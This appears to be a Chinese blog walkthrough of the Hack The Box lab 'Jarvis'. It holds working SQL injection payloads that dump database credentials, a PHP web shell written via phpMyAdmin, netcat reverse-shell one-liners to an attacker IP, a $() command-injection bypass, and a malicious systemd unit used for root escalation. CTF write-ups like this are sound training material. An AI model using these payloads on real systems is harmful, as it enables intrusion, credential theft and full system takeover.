【Hack The Box】linux练习-- Jarvis

HTB 学习笔记

【Hack The Box】linux练习-- Jarvis


🔥系列专栏:Hack The Box
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年11月17日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!

在这里插入图片描述

信息收集

22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 03:f3:4e:22:36:3e:3b:81:30:79:ed:49:67:65:16:67 (RSA)
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Stark Hotel
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

64999

在这里插入图片描述

80

在这里插入图片描述发现了一些信息

supersecurehotel.htb
supersecurehotel@logger.htb
目录爆破
gobuster dir -u http://10.129.227.147/ -x php -w /usr/share/dirb/wordlists/common.txt

得等一会,我们先进行别的测试

分析页面

我将继续分析页面,寻找功能点

在这里插入图片描述
这里可能有lfi。我将尝试…/…/…/…/…/etc/passwd
但是并没有什么显示
我将再尝试sql注入
当我输入一个‘,我发现页面报错了,这是一个非常好的征兆,说明页面确实存在sql注入

在这里插入图片描述
页面报错了

cod=100 UNION SELECT 1,2,3,4,5,6,7;-- -

在这里插入图片描述

1. 列出数据库:
SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- -

2. 列出表
Show Tables in hotel	SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- -

3. 列出列
Show Columns in room	SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- -

4. 列出mysql的表
Show Tables in mysql	SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- -

6. 继续查看列
Show Columns in user	SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- -

6. 获取用户账号密码信息
SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
DBadmin

在这里插入图片描述
目录爆破结果也出来了
我们获得的应该就是phpmyadmin的凭证了
去登录试试

在这里插入图片描述
CVE-2018-12613
在phpmyadmin的sql栏输入以下sql命令

SELECT "<?php system($_GET['c']); ?>" into outfile "/var/www/html/sh3ll.php"

在这里插入图片描述

http://10.129.227.147/shell.php?c=id

而后替换传入的参数

rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.7 4242 >/tmp/f

但是要url编码

在这里插入图片描述

www->pepper

在这里插入图片描述因为是pepper:all,所以我们要用pepper执行

sudo -u pepper /var/www/Admin-Utilities/simpler.py

在这里插入图片描述
这个比较可以
可以ping的话看看能不能命令执行
看看源码

在这里插入图片描述
但是常见的一些附加命令执行被ban了

但是还漏了一个$
我们进行尝试看看 能 不 能 正 常 , 如 果 正 常 的 话 我 们 就 可 以 写 入 一 个 脚 本 , 然 后 用 能不能正常,如果正常的话我们就可以写入一个脚本,然后用 ,导入即可

在这里插入图片描述
是成功的
所以我将写一个脚本然后执行

echo -e '#!/bin/bash\n\nnc -e /bin/bash 10.10.14.7 443' > /tmp/d.sh
chmod +x /tmp/d.sh
然后在输入ip的时候这么执行
$(/tmp/d.sh)

在这里插入图片描述

pepper -> root

find / -perm -4000 -type f 2>/dev/null 

在这里插入图片描述
这个二进制文件是一个 systemd 实用程序,负责控制 systemd 系统和服务管理器。 也就是说,它创建和管理服务。 在这种情况下,只有 root 和 pepper (me) 组中的用户可以运行它,并且它将以 root 身份运行
参照下面

https://gtfobins.github.io/gtfobins/systemctl/
[Service]
Type=notify
ExecStart=/bin/bash -c 'nc -e /bin/bash 10.10.14.8 443'
KillMode=process
Restart=on-failure
RestartSec=42s

[Install]
WantedBy=multi-user.target

不管增么样,先链接,再启动
systemctl link /home/pepper/rong.service
systemctl start
一定不要忘了启动

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值